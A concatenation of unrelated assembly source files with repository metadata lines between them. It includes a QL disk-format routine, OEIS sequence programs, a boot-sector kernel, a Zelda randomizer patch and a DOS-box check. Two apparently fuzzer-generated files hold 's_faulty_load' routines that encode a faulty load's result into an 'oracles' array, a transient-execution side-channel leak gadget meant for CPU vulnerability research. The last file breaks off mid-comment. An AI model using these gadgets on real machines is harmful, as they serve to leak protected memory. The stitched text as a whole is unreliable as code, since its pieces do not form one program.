; DV3 QXL HD Disk Format 1993 Tony Tebby
;
; 2020-04-07 1.01 Changed for new ddf_mname definition (length word) (MK)
section dv3
xdef hd_mformat
xref hd_hold
xref hd_release
xref hd_fchk
xref dv3_slen
xref qxl_mess_add
xref gu_achp0
xref gu_rchp
xref cv_decil
include 'dev8_keys_err'
include 'dev8_smsq_qxl_keys'
include 'dev8_smsq_qxl_comm_keys'
include 'dev8_dv3_keys'
include 'dev8_dv3_hd_keys'
include 'dev8_mac_assert'
;+++
; This routine formats a medium
;
; d0 cr format type / error code
; d1 cr format dependent flag or zero / good sectors
; d2 r total sectors
; d7 c p drive ID / number
; a3 c p linkage block
; a4 c p drive definition
;
; status return standard
;---
hd_mformat
hmf.reg reg d3/d4/d5/a0/a1/a2/a5
movem.l hmf.reg,-(sp)
hmf_wstart
jsr hd_hold
bne.s hmf_wstart
move.b #ddf.dd,ddf_density(a4) ; set density
move.b #2,ddf_slflag(a4) ; set sector length flag
jsr dv3_slen
clr.l ddf_psoff(a4) ; set base of partition
lea ddf_mname+2(a4),a0
jsr cv_decil ; size of disk required
bne.l hmf_inam
moveq #11,d0 ; convert megabytes to sectors
asl.l d0,d1
bvs.l hmf_inam
ble.l hmf_inam
jsr hd_fchk ; check ok to format
bne.s hmf_exit
lea ddf_mname(a4),a0
move.w #4,(a0)+
move.l #'WIN0',(a0) ; blat name
add.b d7,3(a0)
move.l qxl_message,a1
lea qxl_ms_phys(a1),a1 ; message key
move.b #qxm.fdriv,(a1)+ ; ... message key
move.b d7,(a1) ; win drive
add.b #$82,(a1)+ ; is a file
move.w #1,(a1)+ ; only one message at a time
move.l d1,(a1)+ ; number of sectors
clr.l (a1) ; no ID
subq.l #8,a1
move.w #$c,-(a1) ; message length
jsr qxl_mess_add ; add the message
hmf_wait_done
; blat #$aa
tst.w (a1) ; wait for reply (flagged by -ve len)
bpl.s hmf_wait_done
; blat #$55
tst.b qxm_err-qxl_ms_len(a1) ; error?
bne.s hmf_fmtf
move.l qxm_ngood-qxl_ms_len(a1),d3 ; nr sectors
beq.s hmf_fmtf ; ... none
clr.l -(sp) ; no 4096 byte
clr.l -(sp) ; no 2048 byte
clr.l -(sp) ; no 1024 byte
move.l d3,-(sp) ; sectors per track !!
clr.l -(sp) ; no 256 byte
clr.l -(sp) ; no 128 byte
clr.l -(sp) ; no cylinders / heads
move.l sp,a0
jsr ddf_fselect(a4) ; select format
add.w #7*4,sp
bne.s hmf_exit ; ... oops
moveq #ddf.full,d0 ; ... the only type of format we can do
sub.l a0,a0
jsr ddf_format(a4) ; so do it!
st ddf_slbl(a4) ; set slave block range
hmf_exit
jsr hd_release
movem.l (sp)+,hmf.reg
tst.l d0
rts
hmf_fmtf
moveq #err.fmtf,d0
bra.s hmf_exit
hmf_inam
moveq #err.inam,d0
bra.s hmf_exit
end
| 20.259843 | 75 | 0.668869 | [
"BSD-2-Clause"
] | olifink/smsqe | dv3/qxl/hd/mformat.asm | 2,573 | Assembly |
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r14
push %r15
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0x16da6, %rsi
lea addresses_WT_ht+0x17a6, %rdi
nop
xor %r10, %r10
mov $65, %rcx
rep movsq
nop
nop
nop
cmp %rbp, %rbp
lea addresses_A_ht+0x1b526, %r15
nop
nop
nop
cmp $30348, %r14
mov $0x6162636465666768, %rsi
movq %rsi, %xmm0
and $0xffffffffffffffc0, %r15
vmovntdq %ymm0, (%r15)
nop
nop
cmp $15313, %rbp
lea addresses_UC_ht+0x105a5, %rdi
clflush (%rdi)
sub $17696, %r10
mov (%rdi), %r15
nop
nop
nop
add $27479, %r15
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r15
pop %r14
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r14
push %r8
push %r9
push %rcx
push %rdi
push %rsi
// Store
lea addresses_A+0x165a6, %r14
nop
xor $50295, %r9
movl $0x51525354, (%r14)
nop
nop
nop
nop
sub $63137, %r8
// Load
lea addresses_A+0xa1cc, %r11
add $1291, %rsi
mov (%r11), %edi
cmp %rdi, %rdi
// Store
lea addresses_WT+0x1fda6, %r9
nop
nop
xor %r8, %r8
movb $0x51, (%r9)
nop
add %r14, %r14
// Store
lea addresses_A+0x139a6, %r8
clflush (%r8)
nop
nop
nop
and $15138, %r14
mov $0x5152535455565758, %r11
movq %r11, (%r8)
add $3310, %r8
// Store
lea addresses_UC+0x30e6, %r11
nop
nop
nop
and $59366, %r14
movl $0x51525354, (%r11)
nop
nop
nop
nop
nop
add $43631, %r11
// Store
lea addresses_PSE+0x11c82, %r8
clflush (%r8)
nop
nop
nop
mfence
mov $0x5152535455565758, %r11
movq %r11, (%r8)
nop
nop
nop
nop
nop
inc %r8
// Store
lea addresses_RW+0x1b58e, %r8
clflush (%r8)
nop
nop
nop
xor $26652, %r9
mov $0x5152535455565758, %rdi
movq %rdi, (%r8)
nop
nop
nop
and $3035, %r9
// Store
lea addresses_PSE+0xe9e, %r8
nop
nop
nop
nop
add %r14, %r14
movb $0x51, (%r8)
nop
nop
nop
dec %rcx
// Store
mov $0xa6, %r14
nop
nop
nop
sub $23412, %rcx
mov $0x5152535455565758, %rsi
movq %rsi, (%r14)
nop
nop
nop
inc %rdi
// Store
mov $0x666, %r8
nop
nop
nop
inc %r9
movl $0x51525354, (%r8)
dec %rcx
// Faulty Load
mov $0x5809040000000da6, %rsi
and $51667, %r8
vmovups (%rsi), %ymm7
vextracti128 $1, %ymm7, %xmm7
vpextrq $1, %xmm7, %rdi
lea oracles, %rcx
and $0xff, %rdi
shlq $12, %rdi
mov (%rcx,%rdi,1), %rdi
pop %rsi
pop %rdi
pop %rcx
pop %r9
pop %r8
pop %r14
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_NC', 'congruent': 0}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_A', 'congruent': 11}, 'OP': 'STOR'}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_A', 'congruent': 0}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_WT', 'congruent': 10}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_A', 'congruent': 10}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_UC', 'congruent': 6}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_PSE', 'congruent': 1}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': True, 'AVXalign': False, 'size': 8, 'type': 'addresses_RW', 'congruent': 2}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_PSE', 'congruent': 2}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_P', 'congruent': 8}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_P', 'congruent': 5}, 'OP': 'STOR'}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_NC', 'congruent': 0}}
<gen_prepare_buffer>
{'dst': {'same': False, 'congruent': 9, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 11, 'type': 'addresses_A_ht'}}
{'dst': {'same': False, 'NT': True, 'AVXalign': False, 'size': 32, 'type': 'addresses_A_ht', 'congruent': 6}, 'OP': 'STOR'}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_UC_ht', 'congruent': 0}}
{'45': 21827, '08': 2}
45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 08 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45
*/
| 32.930876 | 2,999 | 0.649314 | [
"MIT"
] | danielmgmi/medusa | Transynther/_processed/NC/_ht_un_/i7-7700_9_0x48_notsx.log_21829_807.asm | 7,146 | Assembly |
; A188737: Decimal expansion of (7+sqrt(85))/6.
; Submitted by Christian Krause
; 2,7,0,3,2,5,7,4,0,9,5,4,8,8,1,4,5,5,1,6,6,7,0,4,5,7,1,3,6,2,7,1,3,2,1,9,2,8,7,4,4,6,7,5,0,8,1,2,0,4,1,0,6,6,8,0,0,1,2,9,2,0,3,4,2,4,0,4,4,5,1,7,1,1,3,3,6,4,5,9,1,0,1,2,7,9,8,2,3,4,8,4,6,5,5,4,6,7,6,0
mov $3,$0
mul $3,4
lpb $3
add $1,$3
add $5,$2
add $5,$2
add $1,$5
add $2,$1
mov $1,$5
div $1,5
sub $3,1
lpe
mov $1,1
add $1,$5
add $1,1
mov $4,10
pow $4,$0
div $2,$4
mov $6,$2
cmp $6,0
add $2,$6
div $1,$2
mov $0,$1
mod $0,10
| 18.068966 | 201 | 0.530534 | [
"Apache-2.0"
] | ckrause/loda-programs | oeis/188/A188737.asm | 524 | Assembly |
; ==================================================
; MingKernel Kernel
; --------------------------------------------------
; The kernel uses FAT12 (File Allocation Table)
; and other resources to essentially make the full
; operating system.
; ==================================================
;------------------------------------------------------------------------------
; ==========================================================================
[BITS 16] ; Tell the nasm assembler we are using 16-bit assembly
[org 0x7c00] ; Set the character offset to hex string 7c00 for printing
; ==========================================================================
jmp short os_start ; Jump past the rest to bootload_start function
nop ; Skip disk description table
; ==========================================================================
; ------------------------------------------------------------------
; Disk description table, to make it a valid floppy
; Values are those used by IBM for 1.44 MB, 3.5" diskette
OEMLabel db "MINGKERN" ; Disk label
BytesPerSector dw 512 ; Bytes per sector
SectorsPerCluster db 1 ; Sectors per cluster
ReservedForBoot dw 1 ; Reserved sectors for boot record
NumberOfFats db 2 ; Number of copies of the FAT
RootDirEntries dw 224 ; Number of entries in root dir
; (224 * 32 = 7168 = 14 sectors to read)
LogicalSectors dw 2880 ; Number of logical sectors
MediumByte db 0F0h ; Medium descriptor byte
SectorsPerFat dw 9 ; Sectors per FAT
SectorsPerTrack dw 18 ; Sectors per track (36/cylinder)
Sides dw 2 ; Number of sides/heads
HiddenSectors dd 0 ; Number of hidden sectors
LargeSectors dd 0 ; Number of LBA sectors
DriveNo dw 0 ; Drive No: 0
Signature db 41 ; Drive signature: 41 for floppy
VolumeID dd 00000000h ; Volume ID: any number
VolumeLabel db "MingKernel "; Volume label: any 11 chars
FileSystem db "FAT12 " ; File system type: don't change!
; ==========================================================================
os_start:
mov si, ProgramManager
jmp programs_start
shell_start:
; Background
mov ah, 09h
mov cx, 1000h
mov al, 20h
mov bl, 07h
int 10h
; Make Header
mov ah, 09h
mov cx, 80d
mov al, 20h
mov bl, 87h
int 10h
mov si, OsTitle
call print_string
jmp $
programs_start:
; Background
mov ah, 09h
mov cx, 1000h
mov al, 20h
mov bl, 17h
int 10h
mov ah, 09h
mov cx, 80d
mov al, 20h
mov bl, 0xcf
int 10h
; ==========================================================================
; Features
; ======================================
%INCLUDE 'features/disk.asm'
%INCLUDE 'features/lib.asm'
; ==========================================================================
; Strings and Variables
; =================================
disk_error db "Disk error!", 0 ; If there is a disk ; error print this
file_not_found db "Kernel not found!", 0 ; If file doesn't exist print
OsTitle db "MingKernel Shell",13,10
ProgramManager db "MingKernel Program Manager"
; ==========================================================================
; File Buffer
; ----------------------------------------
buffer:
; ==========================================================================
; Validation Bytes
; ---------------------------------
dw 0xaa55
; ========================================================================== | 32.714286 | 88 | 0.47016 | [
"Apache-2.0"
] | pigcake999yt/MingKernel | kernel.asm | 3,435 | Assembly |
;--------------------------------------------------------------------------------
; LockAgahnimDoors:
; Returns: 0=Unlocked - 1=Locked
;--------------------------------------------------------------------------------
LockAgahnimDoors:
LDA.l AgahnimDoorStyle
BNE +
;#$0 = Never Locked
LDA.w #$0000 : RTL
+ : CMP.w #$0001 : BNE +
LDA $7EF3C5 : AND.w #$000F : CMP.w #$0002 : !BGE .unlock ; if we rescued zelda, skip
JSR.w LockAgahnimDoorsCore : RTL
+ : CMP.w #$0002 : BNE +
LDA $7EF37A : AND.w #$007F : CMP.w #$007F : BEQ .unlock
JSR.w LockAgahnimDoorsCore : RTL
+
.unlock
LDA.w #$0000 ; fallback to never locked
RTL
;--------------------------------------------------------------------------------
LockAgahnimDoorsCore:
LDA $22 : CMP.w #1992 : !BLT + ; door too far left, skip
CMP.w #2088 : !BGE + ; door too rat right, skip
LDA $20 : CMP.w #1720 : !BGE + ; door too low, skip
LDA.w #$0001
RTS
+
LDA.w #$0000
RTS
;--------------------------------------------------------------------------------
SmithDoorCheck:
LDA.l SmithTravelsFreely : AND.w #$00FF : BEQ .orig
;If SmithTravelsFreely is set Frog/Smith can enter multi-entrance overworld doors
JML.l Overworld_Entrance_BRANCH_RHO
.orig ; The rest is equivlent to what we overwrote
CPX.w #$0076 : !BGE +
JML.l Overworld_Entrance_BRANCH_LAMBDA
+
JML.l Overworld_Entrance_BRANCH_RHO
;--------------------------------------------------------------------------------
AllowStartFromSingleEntranceCave:
; 16 Bit A, 16 bit XY
; do not need to preserve A or X or Y
LDA $7EF3C8 : AND.w #$00FF ; What we wrote over
PHA
TAX
LDA.l StartingAreaExitOffset, X
BNE +
BRL .done
+
DEC
STA $00
LSR #2 : !ADD $00 : LSR #2 ; mult by 20
TAX
LDA #$0016 : STA $7EC142 ; Cache the main screen designation
LDA.l StartingAreaExitTable+$05, X : STA $7EC144 ; Cache BG1 V scroll
LDA.l StartingAreaExitTable+$07, X : STA $7EC146 ; Cache BG1 H scroll
LDA.l StartingAreaExitTable+$09, X : !ADD.w #$0010 : STA $7EC148 ; Cache Link's Y coordinate
LDA.l StartingAreaExitTable+$0B, X : STA $7EC14A ; Cache Link's X coordinate
LDA.l StartingAreaExitTable+$0D, X : STA $7EC150 ; Cache Camera Y coord lower bound.
LDA.l StartingAreaExitTable+$0F, X : STA $7EC152 ; Cache Camera X coord lower bound.
LDA.l StartingAreaExitTable+$03, X : STA $7EC14E ; Cache Link VRAM Location
; Handle the 2 "unknown" bytes, which control what area of the backgound
; relative to the camera? gets loaded with new tile data as the player moves around
; (because some overworld areas like Kak are too big for a single VRAM tilemap)
LDA.l StartingAreaExitTable+$11, X : AND.w #$00FF
BIT.w #$0080 : BEQ + : ORA #$FF00 : + ; Sign extend
STA.l $7EC16A
LDA.l StartingAreaExitTable+$12, X : AND.w #$00FF
BIT.w #$0080 : BEQ + : ORA #$FF00 : + ; Sign extend
STA.l $7EC16E
LDA.w #$0000 : !SUB.l $7EC16A : STA $7EC16C
LDA.w #$0000 : !SUB.l $7EC16E : STA $7EC170
LDA.l StartingAreaExitTable+$02, X : AND.w #$00FF
STA $7EC14C ; Cache the overworld area number
STA $7EC140 ; Cache the aux overworld area number
SEP #$20 ; set 8-bit accumulator
LDX $00
LDA.l StartingAreaOverworldDoor, X : STA.l $7F5099 ;Load overworld door
REP #$20 ; reset 16-bit accumulator
.done
PLA
RTL
;--------------------------------------------------------------------------------
CheckHole:
LDX.w #$0024
.nextHoleClassic
LDA.b $00 : CMP.l $1BB800, X
BNE .wrongMap16Classic
LDA.w $040A : CMP.l $1BB826, X
BEQ .matchedHoleClassic
.wrongMap16Classic
DEX #2 : BPL .nextHoleClassic
LDX.w #$001E
.nextHoleExtra
LDA.b $00 : CMP.l ExtraHole_Map16, X
BNE .wrongMap16Extra
LDA.w $040A : CMP.l ExtraHole_Area, X
BEQ .matchedHoleExtra
.wrongMap16Extra
DEX #2 : BPL .nextHoleExtra
JML Overworld_Hole_GotoHoulihan
.matchedHoleClassic
JML Overworld_Hole_matchedHole
.matchedHoleExtra
SEP #$30
TXA : LSR A : TAX
LDA.l ExtraHole_Entrance, X : STA.w $010E : STZ.w $010F
JML Overworld_Hole_End
;--------------------------------------------------------------------------------
| 32.412698 | 94 | 0.594515 | [
"MIT"
] | Zarby89/z3randomizer | entrances.asm | 4,084 | Assembly |
; A025790: Expansion of 1/((1-x)(1-x^8)(1-x^11)).
; 1,1,1,1,1,1,1,1,2,2,2,3,3,3,3,3,4,4,4,5,5,5,6,6,7,7,7,8,8,8,9,9,10,11,11,12,12,12,13,13,14,15,15,16,17,17,18,18,19,20,20,21,22,22,23,24,25,26,26,27,28,28,29,30,31
lpb $0
mov $2,$0
sub $0,8
div $2,11
seq $2,14181 ; Numbers > 9 with all digits the same.
add $1,$2
lpe
div $1,11
add $1,1
mov $0,$1
| 25.571429 | 164 | 0.578212 | [
"Apache-2.0"
] | ckrause/cm | programs/oeis/025/A025790.asm | 358 | Assembly |
;/*
; * Microsoft Confidential
; * Copyright (C) Microsoft Corporation 1991
; * All Rights Reserved.
; */
;
;OVERVIEW
;
; This module contains an asm callable routine for detecting
;if the program is running under a windows VM or dosshell task
;The primary entry point is in_dos_box
zseg segment word public 'CODE'
assume cs:zseg
assume ds:zseg
public in_dos_box
;
;FUNCTION
; zero flag set if program was run from within a dosshell or
; window's dos box or desqview
;USES
; none
in_dos_box proc near
push ax
push bx
push cx
push dx
push bp
push si
push di
push es
push ds
mov ax,4B02h ; Detect_Switcher
xor bx,bx ; bx is defined to be zero in spec DTS API
mov es,bx ; es:di = 0
mov di,bx
int 2fh
or ax,ax
jnz no_DTS_Responder
jmp short exit_zero_flag_setup
no_DTS_Responder:
;;;detection code for older MS taskers (<=W3.0)
mov ax,4680h ;switcher call out
int 2fh
or ax,ax
jz exit_zero_flag_setup
mov ax,1600h ;enhanced mode callout
int 2fh
test al,7fh ;if not low bits set
;there is a random himem which might set hi bit
jnz multi_tasking
; int 1
;;; now check for desqview
mov cx,'DE'
mov dx,'SQ'
mov ax,2B01h
int 21h
cmp al,0ffh
jne multi_tasking
or al,1 ; zero flag was set, so unset it
jmp short exit_zero_flag_setup
ret
multi_tasking:
xor ax,ax ; zero flag not set, so set it
;;; fall through
exit_zero_flag_setup:
pop ds
pop es
pop di
pop si
pop bp
pop dx
pop cx
pop bx
pop ax
ret
in_dos_box endp
zseg ends
end
| 17.72043 | 67 | 0.654126 | [
"Apache-2.0"
] | minblock/msdos | dev/smartdrv/indosbox.asm | 1,648 | Assembly |
; max number
.386
.model flat,stdcall
.stack 4096
INCLUDE Irvine32.inc
ExitProcess proto,dwExitCode:dword
.data
num1 DWORD 2367
num2 DWORD 4792
.code
main proc
mov eax, [num1]
call WriteBin
mov al, 10
call WriteChar
mov eax, [num2]
call WriteBin
mov al, 10
call WriteChar
mov ebx, [num1]
mov eax, [num2]
xor eax, ebx
call WriteBin
mov esi, eax
mov al, 10
call WriteChar
call displayBits
displayBits PROC
mov ecx, 32
mov ebx, 1
shl ebx, 31
l1:
mov edi, esi
and edi, ebx
jnz write1
jmp write0
write1: mov al, '1'
call WriteChar
jmp return
write0: mov al, '0'
call WriteChar
return:
shl esi, 1
loop l1
displayBits ENDP
invoke ExitProcess,0
main endp
end main | 15.196078 | 35 | 0.643871 | [
"MIT"
] | juancstlm/Assembly-Programming | displayBits.asm | 775 | Assembly |
; A267661: Number of nX2 0..1 arrays with every repeated value in every row unequal to the previous repeated value, and in every column equal to the previous repeated value, and new values introduced in row-major sequential order.
; 2,8,32,98,288,800,2178,5832,15488,40898,107648,282752,741762,1944392,5094432,13343778,34944800,91503392,239586050,627288200,1642332672,4299797378,11257201152,29472035328,77159275778,202006392200,528860871968,1384577795042,3624875055648,9490051485728,24845286057858,65045817457992,170292183742592,445830761966402,1167200147779712,3055769755192448,8000109237240450
mov $1,1
mov $3,1
lpb $0,1
sub $0,1
mov $2,$1
add $1,$3
add $2,1
mov $3,$2
lpe
mul $1,2
pow $1,2
sub $1,4
div $1,4
mul $1,2
add $1,2
| 38.947368 | 364 | 0.789189 | [
"Apache-2.0"
] | karttu/loda | programs/oeis/267/A267661.asm | 740 | Assembly |
.global s_prepare_buffers
s_prepare_buffers:
push %r13
push %r14
push %r15
push %r8
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_WT_ht+0x13456, %rsi
lea addresses_WC_ht+0x1339e, %rdi
nop
add $17743, %r8
mov $34, %rcx
rep movsb
nop
nop
nop
nop
inc %r14
lea addresses_WC_ht+0x1823e, %rsi
lea addresses_WC_ht+0x18b9e, %rdi
clflush (%rsi)
nop
add %r13, %r13
mov $26, %rcx
rep movsl
nop
nop
nop
inc %rdi
lea addresses_D_ht+0xaa2, %r8
nop
nop
nop
nop
lfence
movl $0x61626364, (%r8)
nop
nop
nop
nop
and $10409, %rsi
lea addresses_A_ht+0x9b9e, %r13
nop
nop
nop
nop
xor $8794, %rcx
vmovups (%r13), %ymm2
vextracti128 $1, %ymm2, %xmm2
vpextrq $0, %xmm2, %rdi
nop
nop
nop
nop
nop
sub %rsi, %rsi
lea addresses_WC_ht+0x1339e, %r8
nop
add %rcx, %rcx
vmovups (%r8), %ymm4
vextracti128 $0, %ymm4, %xmm4
vpextrq $0, %xmm4, %r15
nop
nop
nop
nop
nop
cmp $9109, %rcx
lea addresses_UC_ht+0x1af9e, %r15
and %rdi, %rdi
movl $0x61626364, (%r15)
nop
nop
nop
cmp $19244, %rdi
lea addresses_UC_ht+0x7b9e, %rsi
lea addresses_D_ht+0x1e01e, %rdi
clflush (%rdi)
nop
nop
cmp $64545, %rbx
mov $1, %rcx
rep movsl
nop
nop
nop
sub %r8, %r8
lea addresses_A_ht+0x11d9e, %rsi
nop
nop
nop
nop
add %r15, %r15
vmovups (%rsi), %ymm0
vextracti128 $0, %ymm0, %xmm0
vpextrq $1, %xmm0, %r14
nop
nop
nop
nop
sub $9741, %r8
lea addresses_normal_ht+0x5a9e, %rbx
nop
nop
nop
nop
xor $53658, %r14
mov $0x6162636465666768, %rsi
movq %rsi, %xmm0
vmovups %ymm0, (%rbx)
add %rcx, %rcx
lea addresses_WC_ht+0x1af9e, %rsi
lea addresses_D_ht+0x749e, %rdi
clflush (%rsi)
nop
nop
mfence
mov $55, %rcx
rep movsb
nop
cmp $3786, %r15
lea addresses_WC_ht+0x4c9e, %rsi
lea addresses_WT_ht+0x14fee, %rdi
nop
nop
nop
sub %r8, %r8
mov $108, %rcx
rep movsl
nop
sub $60644, %r14
lea addresses_UC_ht+0x3b9e, %r14
nop
nop
nop
nop
cmp %rcx, %rcx
movb $0x61, (%r14)
nop
nop
nop
nop
and $32433, %rbx
lea addresses_normal_ht+0x12b9e, %r13
cmp %rsi, %rsi
movl $0x61626364, (%r13)
nop
nop
nop
xor %rdi, %rdi
lea addresses_A_ht+0x1edf5, %rdi
nop
nop
cmp $42121, %rsi
movups (%rdi), %xmm6
vpextrq $1, %xmm6, %rbx
nop
nop
nop
nop
add $60053, %r14
lea addresses_A_ht+0x1a89e, %rcx
nop
nop
nop
and %r8, %r8
movl $0x61626364, (%rcx)
nop
nop
nop
nop
nop
and $53998, %r8
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %r8
pop %r15
pop %r14
pop %r13
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r14
push %r9
push %rcx
push %rdx
push %rsi
// Faulty Load
lea addresses_A+0x1db9e, %rdx
clflush (%rdx)
nop
cmp $34026, %r9
movups (%rdx), %xmm2
vpextrq $0, %xmm2, %rsi
lea oracles, %r12
and $0xff, %rsi
shlq $12, %rsi
mov (%r12,%rsi,1), %rsi
pop %rsi
pop %rdx
pop %rcx
pop %r9
pop %r14
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_A', 'same': False, 'AVXalign': True, 'congruent': 0}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_A', 'same': True, 'AVXalign': False, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_WT_ht', 'congruent': 3}, 'dst': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 10}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 1}, 'dst': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 11}}
{'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'OP': 'LOAD', 'src': {'size': 32, 'NT': False, 'type': 'addresses_A_ht', 'same': False, 'AVXalign': False, 'congruent': 10}}
{'OP': 'LOAD', 'src': {'size': 32, 'NT': False, 'type': 'addresses_WC_ht', 'same': False, 'AVXalign': False, 'congruent': 11}}
{'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': False, 'congruent': 9}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 8}, 'dst': {'same': False, 'type': 'addresses_D_ht', 'congruent': 7}}
{'OP': 'LOAD', 'src': {'size': 32, 'NT': False, 'type': 'addresses_A_ht', 'same': False, 'AVXalign': False, 'congruent': 7}}
{'OP': 'STOR', 'dst': {'size': 32, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 5}}
{'OP': 'REPM', 'src': {'same': True, 'type': 'addresses_WC_ht', 'congruent': 9}, 'dst': {'same': True, 'type': 'addresses_D_ht', 'congruent': 8}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 7}, 'dst': {'same': False, 'type': 'addresses_WT_ht', 'congruent': 3}}
{'OP': 'STOR', 'dst': {'size': 1, 'NT': False, 'type': 'addresses_UC_ht', 'same': True, 'AVXalign': False, 'congruent': 10}}
